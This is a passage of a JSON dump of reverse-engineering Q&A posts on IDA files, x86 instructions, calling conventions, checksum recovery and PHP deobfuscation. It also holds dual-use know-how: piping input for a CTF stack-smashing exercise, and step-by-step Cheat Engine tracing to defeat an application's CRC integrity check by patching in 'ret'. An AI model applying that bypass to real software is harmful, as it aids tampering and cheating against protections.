a special case.</p>\n\n<p>Thus, programming also has <strong>intention</strong> when writing the code so when you are trying to reverse a program the same code or as mentioned earlier seemingly chaotic series of bytes could have different meanings depending on context, a lot of high level code alternatives and as of the time of writing there still isn't a tool which can also predict the original programmer's intention. The best decompilers and reversing tools such as Radare and IDA try to analyze better and imitate such functionality but right now it is the reverse engineer's task.</p>\n"
    },
    {
        "Id": "18286",
        "CreationDate": "2018-05-16T14:12:34.347",
        "Body": "<p>I am attempting to reverse engineer the DYMO Connect app in order to learn how to print to a DYMO LabelWriter Wireless printer. However, the mobile driver for the printer is in several different formats: id0, id1, nam, so, and til. Is there any way that I can open any one of these files so that I can see what code they wrote for the driver? I have searched about this question a lot, but the answers are not very helpful.</p>\n",
        "Title": "How can I open id0, id1, nam, so, or til files?",
        "Tags": "|android|java|",
        "Answer": "<p>id0, id1, nam and til files - are the temporary files which IDA creates when you load your binary into it. And after you close IDA, choosing to save the disassembly result, it's going to delete those files and save idb file instead. Idb - is a binary file where IDA stores disassembly information, so you need to open it with IDA in order to see what's inside. Since the only extension left is .so, I suppose that was the extension of the driver. </p>\n"
    },
    {
        "Id": "18289",
        "CreationDate": "2018-05-16T15:25:29.137",
        "Body": "<p>I have an obfuscated java binary which does runtime code injection using java reflection like this.</p>\n\n<pre><code>Object o = \"a long string\";\n((Method)o).invoke(params..);\n</code></pre>\n\n<p>(If I write this in a java file, it would compile fine, but I have to edit the disassembly of the class file and remove checkcast instruction to make it run.)</p>\n\n<p>What I want to do is disassemble/decompile the content of the long string as JVM bytecode. Since this is not a full class, but only a method, I can't get any of the available java reverse engineering tools to work with it. </p>\n\n<p>I'm now trying to inject this code into a separate class at runtime and then dump it out of memory. But I'm not sure if it's possible to do. even using a javaagent.  </p>\n\n<p>Is there any other easy way to accomplish what I'm trying to do?</p>\n",
        "Title": "Disassemble/decompile arbitrary JVM bytecode",
        "Tags": "|disassembly|decompilation|java|byte-code|",
        "Answer": "<p>It doesn't make sense to talk about the \"bytecode for only a method\", because Java bytecode can't run in isolation. The instructions contain references to the constant pool, which is part of the classfile and shared between all methods in the class. The smallest executable unit of bytecode is the classfile.</p>\n\n<p>The question as written doesn't make sense, but if you post the actual data you are dealing with, perhaps we can figure out what is going on.</p>\n"
    },
    {
        "Id": "18290",
        "CreationDate": "2018-05-16T18:31:16.733",
        "Body": "<pre><code>sar eax, 6\n...\nsar eax, 0x1f\n</code></pre>\n\n<p>This arithmetic shift operation confuses me. Understand that it's taking the value of <code>eax</code> in hex then shifting it to the right by <code>6</code> and the same for the next operation by <code>0x1f</code>. See what the end result is, but still looking to better understand what's happening with these Shift Operations.\nSay eax was <code>0x3338e3e0</code>, how exactly does it get to <code>0x00cce38f</code> step by step?</p>\n",
        "Title": "SAR Instruction",
        "Tags": "|assembly|",
        "Answer": "<pre><code>C:\\&gt;python -c \"print \\\"{0:8X}={0:b}\\n{1:8X}={1:b}\\\".format(0x3338e3e0,0x3338e3e0&gt;&gt;6)\"\n3338E3E0=110011001110001110001111100000\n  CCE38F=110011001110001110001111\n</code></pre>\n"
    },
    {
        "Id": "18291",
        "CreationDate": "2018-05-16T18:37:53.967",
        "Body": "<p>I've a binary (openend in IDA v7) that uses GUID variables to manipulate something. Whenever I see any variable with GUID data type there always be a <code>_mm_store_si128()</code> or <code>_mm_storeu_si128()</code> functions. I've seen the definitions in <a href=\"https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_store_si128&amp;expand=5186\" rel=\"nofollow noreferrer\">Intel Intrinsics Guide</a>. But the article shows that those functions only stores 128-bits of integer data from a variable into memory. The full subroutine is lengthy so I add a small section. Here is an example: </p>\n\n<p><a href=\"https://i.stack.imgur.com/4SzCE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4SzCE.png\" alt=\"_mm_store_si128\"></a></p>\n\n<p>In pseudocode:</p>\n\n<pre><code>if ( RtlGUIDFromString(&amp;GuidString, Guid) &gt;= 0 )\n    {\n      _mm_store_si128(&amp;v18, v10);\n      v18.m128i_i64[1] -= v11;\n      v18.m128i_i64[0] = v10.m128i_i64[0] + 2 * v11;\n      _mm_store_si128((__m128i *)&amp;GuidString, v18);\n      sub_140010DC0(&amp;v18, (__m128i *)&amp;GuidString);\n      v10 = v18;\n    }\n</code></pre>\n\n<p>So my questions are: Does those functions only copy 128bit data? Is it same as <code>memcpy()</code> or <code>memmove()</code>? If yes then why not IDA shows those functions (later ones)? Are there any hidden deep relation between <code>_mm_store_si128</code> and CPU instructions? </p>\n",
        "Title": "What does _mm_store_si128() actually do?",
        "Tags": "|disassembly|",
        "Answer": "<p>1) The <code>_mm_store_si128</code> intrinsic indeed stores 128-bits to memory.  128-bits is 16 bytes which is exactly the size of a GUID.</p>\n\n<p>2) The difference between <code>_mm_store_si128</code> and <code>memcpy/memmove</code> is that whilst both take a pointer to the destination address in memory, the intrinsic takes a value as the source and <code>memcpy/memmove</code> take a pointer to a source in memory. See the function prototypes -</p>\n\n<pre><code>void _mm_store_si128 (__m128i* mem_addr, __m128i a);\nvoid * memcpy ( void * destination, const void * source, size_t num );\n</code></pre>\n\n<p>3) It's not really a hidden deep relationship.  In most cases the intrinsics have a 1-1 relationship with CPU instructions.  These are documented in Volume 2 of the <a href=\"https://software.intel.com/en-us/articles/intel-sdm\" rel=\"nofollow noreferrer\">Intel 64 and IA-32 Architectures Software Developer Manuals</a>.</p>\n\n<pre><code>_mm_store_si128  &lt;=&gt; MOVDQA with a memory destination\n_mm_storeu_si128 &lt;=&gt; MOVDQU with a memory destination\n</code></pre>\n"
    },
    {
        "Id": "18295",
        "CreationDate": "2018-05-16T22:26:59.740",
        "Body": "<p>I'm working on a CTF challenge that is an introduction to smashing the stack. I have the binary working in GDB, and can overwrite the correct part of the stack with printable characters. </p>\n\n<p>The challenge, however, is that the binary expects 0xdeadbeef in the correct stack location - and I'm a bit stumped on how to input that value. I've seen examples online where python is used to supply hex values as the argument to the binary - but this particular binary runs, prints a query message, THEN expects input, instead of just reading an argument.</p>\n\n<p>What is the best way to handle this, initially in GDB to confirm my approach, and then using NC to receive the actual flag? I'm working on Ubuntu.</p>\n\n<p>Apologies for asking a basic question, but this has been tripping me up.</p>\n\n<p>Thank you!</p>\n",
        "Title": "Basic question: how to input non-printable hex values in GDB / NC?",
        "Tags": "|gdb|hex|",
        "Answer": "<p>Well, you have several options to do so. These are the two simplest:</p>\n\n<p>Supplying the input through the pipeline:</p>\n\n<pre><code>$ python -c \"print '\\xde\\xad\\xbe\\xef'\" | ./binary\n$ python -c \"print 0xdeadbeef\" | ./binary\n</code></pre>\n\n<p>Supplying the input from within GDB:</p>\n\n<pre><code>(gdb) r &lt;&lt;&lt; $(python -c \"print '\\xde\\xad\\xbe\\xef'\")\n(gdb) r &lt;&lt;&lt; $(python -c \"print 0xdeadbeef\")\n</code></pre>\n"
    },
    {
        "Id": "18300",
        "CreationDate": "2018-05-17T02:57:26.490",
        "Body": "<p>I am currently using IDA to disassemble a keygen. In the first few lines of a specific function before the <code>eax</code> and <code>edx</code> registers are given a value, their contents are moved to stack variables <code>var_40</code> and <code>var_44</code>. </p>\n\n<p>Here's said function's initial assembly listing:</p>\n\n<pre><code>var_44= dword ptr -44h\nvar_40= dword ptr -40h\n\npush    ebp\nmov     ebp, esp\nadd     esp, 0FFFFFFA8h\npush    esi\npush    edi\nmov     [ebp+var_44], edx\nmov     [ebp+var_40], eax\n</code></pre>\n\n<p>I would like to know what are the values of <code>EAX</code> and <code>EDX</code>.</p>\n\n<p>Do they default to 0 since they weren't previously used and this is just an initialization of the local variable?\nThere are other stack variables that IDA declared, I only mentioned <code>var_40</code> and <code>var_44</code> since they are the ones I had trouble understanding.</p>\n\n<p>Any help would be greatly appreciated.</p>\n",
        "Title": "Confused about the value of edx and eax registers used at function entry",
        "Tags": "|ida|register|calling-conventions|",
        "Answer": "<p><em>TL;DR: The registers are used to pass arguments between the calling function to the callee. In order to understand their values you'll need to look at code prior to it being called.</em></p>\n<p>Since you've mentioned the data stored from the registers is then used to initialize another register before a call, this is a case of data passed between functions using registers.</p>\n<p>This may slightly look like saving registers for them to be restored prior to retuning back to the caller, however according to OP the values are <em>not</em> copied back from the stack (<code>var_44</code>, <code>var_40</code>) near the functions return. Additionally, <code>eax</code> is nearly never a preserved register so this is unlikely to be the case.</p>\n<h2>What are calling conventions</h2>\n<p>Calling convention is how arguments are passed between caller and callee functions. Wether arguments are stored on the stack, in registers or anyplace else by the caller function prior to calling the callee function, in order for the callee function to read them.</p>\n<p>Once we know what calling conventions are, a question raises as to who defined what available calling conventions are available as well as picks the calling convention to use between functions. Obviously, if a caller and callee assume a different calling convention code will break and we'll likely to get a segfault.</p>\n<p>Although this question may seem trivial in cases where the same compiler builds both the callee and caller, compiling different binaries by different compilers may complicate things.</p>\n<p>You may want to read more about <a href=\"https://en.wikipedia.org/wiki/Calling_convention\" rel=\"nofollow noreferrer\">calling conventions</a> used by the compiler/architecture you're reverse engineering.</p>\n<h2>fastcall calling conventions</h2>\n<p>There are quite a few <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"nofollow noreferrer\">x86 calling conventions</a> with several resembling each other but used by different compilers but x64 calling conventions are more standardized.</p>\n<p>Originally, calling conventions heavily relied on the stack and all parameters were passed through it, however for performance reasons register usage became more frequent as it avoids the extra memory writes. Since not all data can be stored using registers (and other reasons) these are mixed calling conventions.</p>\n<p>These mixed calling conventions are commonly called &quot;fastcall&quot; due to being faster by avoiding the unneeded stack writes. There are several x86 fast calling conventions, depending on compiler used. Although there are several calling conventions take make usage of the <code>eax</code> and <code>edx</code>, but the important thing to note here is <strong>that they're used for the values previously set by the calling function</strong>.</p>\n"
    },
    {
        "Id": "18305",
        "CreationDate": "2018-05-17T21:05:35.093",
        "Body": "<p>tl;dr: I am reversing a GoLang 1.10 executable, compiled for Windows. I am trying to make IDA correctly recognize the calling convention.</p>\n\n<p>Details: I am looking at an x86 executable where the following (nonstandard) calling convention is used. </p>\n\n<ol>\n<li>caller creates space on the stack for possibly multiple return values, i.e. subtracts <code>4*return_count</code> from <code>ESP</code>.</li>\n<li>caller pushes arguments to callee to the stack, calls callee</li>\n<li>callee creates a stack frame for local variables</li>\n<li>callee does work</li>\n<li>callee restores <code>ESP</code> to be the same as before step 3</li>\n<li>callee stores return values on the stack below its arguments</li>\n<li>call returns</li>\n</ol>\n\n<p>The caller now has the return values and the arguments still in the local stack frame, the latter on top of the former, and cleans up. This is a GoLang 1.10 executable, but I am describing the calling convention that I am seeing here, I do not know any reference for this. If something about the GoLang calling convention in Windows compiled executables is known; I would be very interested in that as well.</p>\n\n<p>More to the point however, I am looking for a way to make IDA correctly understand this calling convention. As an example, consider the following code:</p>\n\n<pre><code> test proc near                   ; test receives two arguments\n   sub     esp, 18h               ; create stack frame\n   mov     eax, [esp+1Ch]         ; argument 1 to test:\n   mov     [esp], eax             ;  moved to top of stack frame\n   mov     eax, [esp+20h]         ; argument 2 to test:\n   mov     [esp+4], eax           ;  moved second to top of stack frame\n   call    sub1                   ; call sub1(test_arg_1, test_arg_2)\n   mov     eax, [esp+14h]         ; retrieve return_value_1\n   mov     ecx, [esp+10h]         ; retrieve return_value_2\n   mov     [esp], ecx           \n   mov     [esp+4], eax\n   call    sub2                   ; call sub2(return_value_1, return_value_2)\n   movzx   eax, byte ptr [esp+8]  ; retrieve single return value\n   xor     eax, 1                 ; negate result\n   mov     [esp+24h], al          ; store result below arguments to test\n   add     esp, 18h               ; close stack frame\n   retn                           ; return\n</code></pre>\n\n<p>I tried to give <code>sub1</code> more parameters:</p>\n\n<pre><code>int __cdecl sub1(int, int, int, int, int, int)\n</code></pre>\n\n<p>But unfortunately, it is not reflected in the decompiled code that the last two \"arguments\" to this function are actually return values which are being passed on to <code>sub2</code>:</p>\n\n<pre><code>int __cdecl test(int a1, int a2)\n{\n  int v2; // ST10_4\n  int v3; // ST14_4\n  unsigned __int8 v4; // ST08_1\n  int esp_08; // [esp+8h] [ebp-10h]\n  int esp_0C; // [esp+Ch] [ebp-Ch]\n  int esp_10; // [esp+10h] [ebp-8h]\n  int esp_14; // [esp+14h] [ebp-4h]\n  void *retaddr; // [esp+18h] [ebp+0h]\n\n  sub1(a1, a2, esp_08, esp_0C, esp_10, esp_14);\n  sub2(v2, v3);\n  return v4 ^ 1;\n}\n</code></pre>\n\n<p>In an attempt to make use of <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1492.shtml\" rel=\"nofollow noreferrer\">this advanced calling convention syntax</a>, I also created a structure containing two 32 bit integer fields and declared <code>sub1</code> as follows:</p>\n\n<pre><code>struc_1 __usercall sub1@&lt;0:^8.4,4:^12.4&gt;(int, int)\n</code></pre>\n\n<p>I tried several variations of this, different offsets, also returning only a native type, but IDA 7.1 always crashed with the following message:</p>\n\n<blockquote>\n  <p>Oops! internal error 1004 occurred. Further work is not possible and IDA will close.</p>\n</blockquote>\n\n<p>Is there any good way or workaround to make IDA recognize this calling convention and accurately reflect it in the decompiled code?</p>\n\n<h3>Reproduce MWE</h3>\n\n<p>To produce the above example, you can use the following <code>test.go</code> source file:</p>\n\n<pre><code>package main\nimport \"os\"\n\nfunc sub2(x int, y int) bool { return x == y }\nfunc sub1(x int, y int) (int, int) { return y,x }\nfunc test(x int, y int) bool { return ! sub2(sub1(x,y)) }\n\nfunc main() {\n  test(1,2)\n  os.Exit(0)\n}\n</code></pre>\n\n<p>You can compile it as follows (disabling optimization is important):</p>\n\n<pre><code>set GOARCH=386\ngo build -gcflags=-N -gcflags=-l test.go\n</code></pre>\n\n<p>In IDA, the test function should be automatically renamed to <code>main_test</code>.</p>\n",
        "Title": "How to specify stack-based return values in IDA Pro (GoLang)",
        "Tags": "|ida|x86|calling-conventions|",
        "Answer": "<p>I have been in touch with IDA support and unfortunately, right now, there does not seem to be a good way to do this. IDA assumes in many cases that the return value of a function must be stored in a register. This is also the reason for the crash when trying to overrule this inherent assumption with scattered arguments.</p>\n"
    },
    {
        "Id": "18322",
        "CreationDate": "2018-05-20T07:30:13.563",
        "Body": "<p>I am currently trying to bypass a CRC check, that exists inline on many places in an application to check if memory pages in the .text section have been modified.</p>\n<p><a href=\"https://i.stack.imgur.com/mNzpW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mNzpW.png\" alt=\"CRC calculation routine\" /></a>\nShort explanation of the <code>crc32</code> instruction:</p>\n<blockquote>\n<p>Starting with an initial value in the first operand (destination operand), accumulates a CRC32 (polynomial 11EDC6F41H) value for the second operand (source operand) and stores the result in the destination operand.</p>\n</blockquote>\n<p>Okay so: <code>rsi</code> contains the pointer of the next memory page that gets scanned and <code>rax</code> is the offset/counter. <code>rdx</code> is usually 200 (200 loops).</p>\n<p><strong>My goal</strong>: find <em>where</em> <code>rsi</code> is set. There has to be some instruction like <code>mov rsi, next_memory_page_to_be_scanned</code>.</p>\n<p>Going further up in code:\n<a href=\"https://i.stack.imgur.com/uPPQW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uPPQW.png\" alt=\"init for the loop vars\" /></a></p>\n<p>So here are the loop vars initialized (<code>rdx,rax</code>).</p>\n<p>Going more up:<a href=\"https://i.stack.imgur.com/cNdLa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cNdLa.png\" alt=\"first instruction in yellow for crc\" /></a></p>\n<p>So here is one of the things I am stuck: the yellow marked part seems to be the first instructions I can bp that gets executed before CRC_CHECK. I mean some other place obviously calls it, but I don't know how to find that place.</p>\n<p>I tried to follow the return pointer: <a href=\"https://i.stack.imgur.com/pe4ej.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pe4ej.png\" alt=\"return bs\" /></a></p>\n<p>but the return pointer points to nothing basically. Breakpointing one instruction above (<code>and [rcx], al</code>) won't trigger the bp (seems to not have anything todo with the CRC check). How do I backtrace this further?</p>\n<p>The value of <code>rsi</code> lays also not on the stack when I bp the CRC.</p>\n<p>Thanks!</p>\n",
        "Title": "Backtracing where a register gets initialized",
        "Tags": "|ida|crc|stack|cheat-engine|",
        "Answer": "<p>Jumping off of Igor's suggestion of a trace, have you tried a break and trace via Cheat Engine yet? If not, consider the following:</p>\n\n<ol>\n<li>Whether via byte array (requiring an AOB scan first; make sure you select read/write memory), module+offset, or symbol name (if applicable), find your way to the <code>crc32 edi, qword ptr [rsi+rax*8]</code> instruction in Cheat Engine's disassembler (the top half of the Memory Viewer).</li>\n<li>Right-click on the instruction and choose <code>Break and trace instructions</code>.</li>\n<li>In the subsequent window, check <code>Save stack snapshots</code> and <code>Step over instead of single step</code>, then click <code>OK</code>.</li>\n<li>Once the Tracer window populates with your trace, right-click within it and choose <code>Expand all</code>.</li>\n<li>Scroll to the farthest branch of the tree, of which the top-most instruction should be your <code>crc32 edi, qword ptr [rsi+rax*8]</code> instruction.</li>\n<li>Click the <code>Stack</code> button and keep the window that opens (Stack View), beside the Tracer window.</li>\n</ol>\n\n<p>Now work your way down the list of recorded instructions (which will take you back up through callers with each branch). You can watch the registers on the right-hand side, as well as the stack via the Stack View window. You can double-click on any instruction in the Tracer to take you to that instruction in the disassembler, where you can then read up through sub-routines from callers.</p>\n\n<p>If there isn't enough branching for you, then run the trace again and change the initial number of instructions traced from 1000 to whatever you'd like. Also, if you find your way into a caller's sub-routine and there are other calls from within it that you'd like to drill down into, simply run another break/trace at some point before the call, then <strong>do not</strong> select (or <strong>de-select</strong>, if it's already selected) <code>Step over instead of single step</code>.</p>\n\n<p>Finally as another tip, in the Memory Viewer, if you run <code>Tools -&gt; Dissect Code</code>, you can then select the base module and any other dependencies to run a bunch of automated tasks on, like finding all referenced strings and functions, and finding all xrefs to all routines!</p>\n\n<p>The xrefs one is great for being able to head to the prologue of any given function (right-click on any instruction and choose <code>Select current function</code>, then scroll to the top) and quickly see how many callers there are (of which you can double-click any of to go to them).</p>\n\n<p>This allows you to quickly see if a function is shared, thus potentially acting as a pivot point to either patch with a <code>ret</code> (or however you'd prefer to patch), or allowing you to choose which specific call instructions to that particular function you'd like to individually patch.</p>\n"
    },
    {
        "Id": "18325",
        "CreationDate": "2018-05-20T20:50:48.997",
        "Body": "<p>I\u2019m pretty new to reverse engineering, so bear with me...</p>\n\n<p>I\u2019m trying to get a few <code>struct</code> definitions (or whatever they\u2019re called) from this one binary. After some time fiddling around with it, I\u2019ve gathered some data I\u2019m pretty sure belongs to the one of the <code>struct</code>s I\u2019m interested in. However, upon closer inspection, I\u2019ve noticed the addresses of these \u201cpieces of data\u201d are scattered all over the place within this binary, instead of being in one contiguous chunk, as a <code>struct</code> should be.</p>\n\n<p>A quick Google search on this issue suggested it might be happening because of \u201cpointer encryption\u201d, which apparently is more like <code>xor</code>ing than encrypting(?)... and following searches on the topic lead to nothing.</p>\n\n<p>Which leads me to ask this: what exactly is \u201cpointer encryption\u201d? Can it be undone? And, if so, how can I decrypt it?</p>\n",
        "Title": "Is pointer decryption possible?",
        "Tags": "|windows|binary-analysis|c++|pointer|",
        "Answer": "<p>I don't think there is any encryption going on. Probably the program uses multiple structs to store the data which is completely normal.</p>\n"
    },
    {
        "Id": "18329",
        "CreationDate": "2018-05-22T20:07:37.447",
        "Body": "<p>I'm trying to reverse engineer serial protocol, everything seems straightforward, except checksum byte. Seems to be some easy algorithm - when sum of all bytes is the same, checksum/crc stays the same. But still can not figure exact algorithm:</p>\n\n<p>Last byte is Checksum.</p>\n\n<p>80,6F,A3,01,02,B0,08,18<br>\n80,6F,A3,03,00,80,00,40<br>\n80,6F,A3,02,00,80,00,41<br>\n80,6F,A3,04,00,80,00,43<br>\n80,6F,A3,01,01,81,08,48<br>\n80,6F,A3,01,02,80,08,48<br>\n80,6F,A3,01,00,81,08,49<br>\n80,6F,A3,01,04,80,08,4A<br>\n80,6F,A3,01,00,80,08,4E<br>\n80,6F,A3,01,02,A0,08,68<br>\n80,6F,A3,01,01,A2,08,6B<br>\n80,6F,A3,01,02,88,08,70<br>\n80,6F,A3,01,06,80,08,74<br>\n80,6F,A3,01,00,88,08,76<br>\n80,6F,A3,01,02,90,08,78<br>\n80,6F,A3,01,12,80,08,78 </p>\n\n<p>responses:</p>\n\n<p>10,03,A3,00,01,00,38,06,73,9C,9B,94,00,12,12,02<br>\n10,03,A3,00,01,00,38,0A,74,A0,8E,94,00,12,12,06<br>\n10,03,A3,00,01,00,40,06,72,9E,99,94,00,12,12,0B<br>\n10,03,A3,00,01,00,30,07,72,9B,9A,8E,00,12,12,12<br>\n10,03,A3,00,01,00,38,04,74,77,78,CC,01,12,12,12<br>\n10,03,A3,00,01,00,30,07,71,9B,99,90,00,12,12,12<br>\n10,03,A3,00,01,00,30,07,6F,9F,92,94,00,12,12,13<br>\n10,03,A3,00,01,00,30,07,6E,A1,8C,94,00,12,12,14<br>\n10,03,A3,00,01,00,30,07,6E,A0,8E,94,00,12,12,17<br>\n10,03,A3,00,01,00,30,07,72,9B,9A,90,00,12,12,1C<br>\n10,03,A3,00,01,00,30,06,72,A1,91,94,00,12,12,1C<br>\n10,03,A3,00,01,00,30,07,72,9B,99,90,00,12,12,1D<br>\n10,03,A3,00,01,00,30,07,70,9C,98,94,00,12,12,1F<br>\n10,03,A3,00,01,00,38,05,74,76,77,00,00,12,12,2C<br>\n10,03,A3,00,01,00,B4,03,6C,3E,3A,00,00,12,00,31<br>\n10,03,A3,00,01,00,30,06,72,72,71,00,00,12,12,33  </p>\n\n<p>First byte stays the same, not sure if I should count with them into checksum.</p>\n\n<p>All help appreciated.</p>\n",
        "Title": "Reverse engineering checksum - LG 485 a/c protocol",
        "Tags": "|decryption|binary|",
        "Answer": "<p><s> did not check the second set </s> </p>\n\n<p>but your first set appears to be xorred by 0x55  </p>\n\n<p><strong>0x55 ^ 0x18 == 0x4d</strong> (8 bit checksum )</p>\n\n<p>edit </p>\n\n<p>ok my guess was right  here is a python script that prints the chksum \nusing the data copy pasted to a text file</p>\n\n<pre><code>infile = open(\"timepass.txt\" , \"r\")\nwhile True:\n    line = infile.readline()\n    a = line.split(\",\")\n    sum = 0x0;\n    for i in range(0,len(a)-1,1):\n        sum = sum + int(a[i],16)\n    if not line:\n        break\n    print hex( ((sum % 0x100) ^ 0x55) ),\ninfile.close()\n</code></pre>\n\n<p>here is the result</p>\n\n<pre><code>C:\\&gt;python chksum.py\n0x18 0x40 0x41 0x43 0x48 0x48 0x49 0x4a \n0x4e 0x68 0x6b 0x70 0x74 0x76 0x78 0x78 \n0x2 0x6 0xb 0x12 0x12 0x12 0x13 0x14 \n0x17 0x1c 0x1c 0x1d 0x1f 0x2c 0x31 0x33\n</code></pre>\n"
    },
    {
        "Id": "18331",
        "CreationDate": "2018-05-22T23:30:51.440",
        "Body": "<h1>Description</h1>\n<p>I asked for help on freelancing, for the finalization of the project in PHP. All this worked well until I needed to edit the authorization mechanism. Having opened the file, I found that it was encrypted. Tried to contact him, but unsuccessfully. Help me find the decoder, the files are flooded with pastest.</p>\n<h1>Samples:</h1>\n<blockquote>\n<p>The original file is covered with pattern: <a href=\"https://pastebin.com/etEWDu2S\" rel=\"nofollow noreferrer\">https://pastebin.com/etEWDu2S</a> eval(gzuncompress(base64_decode('</p>\n<p>The decrypted file (but the lines are obfuscated): <a href=\"https://pastebin.com/AWr6zGg1\" rel=\"nofollow noreferrer\">https://pastebin.com/AWr6zGg1</a> $GLOBALS['<em>1867101966</em>'][round(0)]</p>\n<p>Another file is route.php, there are generally three lines: <a href=\"https://pastebin.com/FmbSyYLZ\" rel=\"nofollow noreferrer\">https://pastebin.com/FmbSyYLZ</a> multiple eval(gzuncompress(base64_decode('</p>\n</blockquote>\n<p><em><strong>Happyness day!</strong></em></p>\n",
        "Title": "Decrypting authorization PHP script",
        "Tags": "|decryption|deobfuscation|php|",
        "Answer": "<p>adding another answer because this contains substantially more info and might mess up the earlier answer</p>\n\n<p><strong>contents of directory pre experiment</strong><br>\n32xxxx.*php.txt is from unphp.net<br>\netE.*txt is content of original posts first link<br>\nb64.dat is the base64 string without quotes from the etE.*txt file   </p>\n\n<p>the other 2 are python scripts    </p>\n\n<pre><code>:\\&gt;ls\n317ca73f142f83e85c24c22cb66c59c7_php.txt  decodebase64.py  findround.py\nb64.dat                                   etEWDu2S.txt\n</code></pre>\n\n<p>contents of python script that recursively replaces round() functions<br>\nuses subprocess module and evaluates the round() using  <strong>PHP -r</strong>   </p>\n\n<pre><code>:\\&gt;cat findround.py\nimport sys\nimport subprocess\n\nif( len(sys.argv) != 2):\n    print(\"usage \"+ sys.argv[0] + \" \\\"path to infile\\\"\")\n    sys.exit();\n\nprint \"opening \" + sys.argv[1]\ninfile = open(sys.argv[1] , \"r\")\nprint \"reading all the lines\"\ndata = infile.readlines();\nprint \"closing the input file\"\ninfile.close();\nprint \"total number of lines read = %d\" % len(data)\n\nfor i in range(0,len(data),1):\n    pos = data[i].rfind(\"round(\")\n    if(pos == -1):\n        continue\n    else:\n        substrobrace= data[i][pos:]\n        cbpos = substrobrace.find(\")\")\n        #print substrobrace[:cbpos+1]\n        commandline = \"php -r \" +\"\\\"print \" + substrobrace[:cbpos+1] +  \";\\\"\"\n        repl = subprocess.check_output( commandline )\n        data[i] = data[i].replace(substrobrace[:cbpos+1] , repl)\n        #print data[i]\n        while (pos != -1):\n            pos = data[i].rfind(\"round(\")\n            if(pos == -1):\n                break\n            else:\n                substrobrace= data[i][pos:]\n                cbpos = substrobrace.find(\")\")\n                #print substrobrace[:cbpos+1]\n                commandline = \"php -r \" +\"\\\"print \" + substrobrace[:cbpos+1] +  \";\\\"\"\n                repl = subprocess.check_output( commandline )\n                data[i] = data[i].replace(substrobrace[:cbpos+1] , repl)\n                #print data[i]\noutfilename = sys.argv[1] +\".deob\"\noutfile = open(outfilename,\"w\")\noutfile.writelines(data)\noutfile.close()\n</code></pre>\n\n<p>contents of python scripts that de-obfuscates the etE.*.txt file<br>\nagain uses supprocess to beautify the single line eval();</p>\n\n<pre><code>:\\&gt;cat decodebase64.py\nimport sys\nimport base64\nimport zlib\nimport time\nimport subprocess\n\nf1 = open(sys.argv[1],\"rb\")\nf2 = open(sys.argv[2],\"wb\")\nf3 = open(sys.argv[3],\"wb\")\nbase64.decode(f1,f2)\nf1.close()\nf2.close()\nf2 = open(sys.argv[2],\"rb\")\ndat = f2.read()\nf2.close()\ndecom = zlib.decompress(dat)\ntagdecom = \"&lt;?php \" + decom + \"?&gt;\"\nf3.write(tagdecom)\nf3.close()\ntime.sleep(5)\ncommandline = \"c:\\\\php\\\\php_beautifier.bat \" + sys.argv[3] + \" \"+ sys.argv[3] +\".php\"\nres = subprocess.check_output( commandline )\ndeobcmdline = \"python findround.py \" + sys.argv[3] +\".php\"\nres = subprocess.check_output( deobcmdline )\n</code></pre>\n\n<p>executing the decodebase64.py with arguments<br>\n(this file calls the other script after some timeout so you get a deobfuscated     file in one go with all the round() replaced) also diffed with output from   unphp.net for sanity check<br>\n(<strong>js beautifier module in earlier my answer messes ugly php with white space error</strong>)     </p>\n\n<pre><code>:\\&gt;decodebase64.py b64.dat b64.dec b64.ugly\n\n:\\&gt;diff b64.ugly.php 317ca73f142f83e85c24c22cb66c59c7_php.txt\n0a1,2\n&gt; /* Decoded by unphp.net */\n&gt;\n</code></pre>\n\n<p>checking if the deobfuscated php file is compilable or not</p>\n\n<pre><code>:\\&gt;phpdbg b64.ugly.php.deob\n[Welcome to phpdbg, the interactive PHP debugger, v0.5.0]\nTo get help using phpdbg type \"help\" and press enter\n[Please report bugs to &lt;http://bugs.php.net/report.php&gt;]\n[Successful compilation of C:\\b64.ugly.php.deob]\nprompt&gt; q\n</code></pre>\n\n<p>contents of the deobfuscated file with round() replaced with actual values</p>\n\n<pre><code>:\\&gt;head b64.ugly.php.deob\n&lt;?php if (isset($_SESSION['id'])) {\n    header('Location: ../');\n    exit();\n}\n$message = '';\nif ((3165 ^ 3165) &amp;&amp; preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);\n(3253 - 3253 + 3158 - 3158) ? strnatcmp($pdo, $letter, $password) : mt_rand(806, 3253);\nif (isset($_GET['data']) &amp;&amp; isset($_GET['a'])) {\n    $id = check($_GET['a'], \"int\");\n    $STH = $pdo-&gt;prepare(\"SELECT `id`, `login`, `email` FROM `users` WHERE `id`=:id LIMIT 1\");\n\n:\\&gt;\n</code></pre>\n\n<p>as you can see and as john posted in his answer this now contains<br>\nfake if() / while() / ternary operators / which will never execute \nnotice if((3165 ^ 3165) &amp;&amp; where the first condition evaluates to 0 so will never execute the fgetss =()<br>\ntry php -a to open an interactive php shell and try evaluating the lines one by one<br>\nnotice i modified the if condition to show the execution of second condition \nwhich has a wrong numbers of argument<br>\nprototype of  preg_split is <strong>preg_split(regex,string,flag);</strong></p>\n\n<pre><code>:\\&gt;php -a\nInteractive shell\n\nphp &gt; if ((3165 ^ 3165) &amp;&amp; preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);\nphp &gt; if ((3165 ^ 3164) &amp;&amp; preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);\n\nWarning: preg_split() expects at least 2 parameters, 1 given in php shell code on line 1\nphp &gt;    \n</code></pre>\n\n<p>so you need to pluck them out manually </p>\n"
    },
    {
        "Id": "18332",
        "CreationDate": "2018-05-23T05:25:13.620",
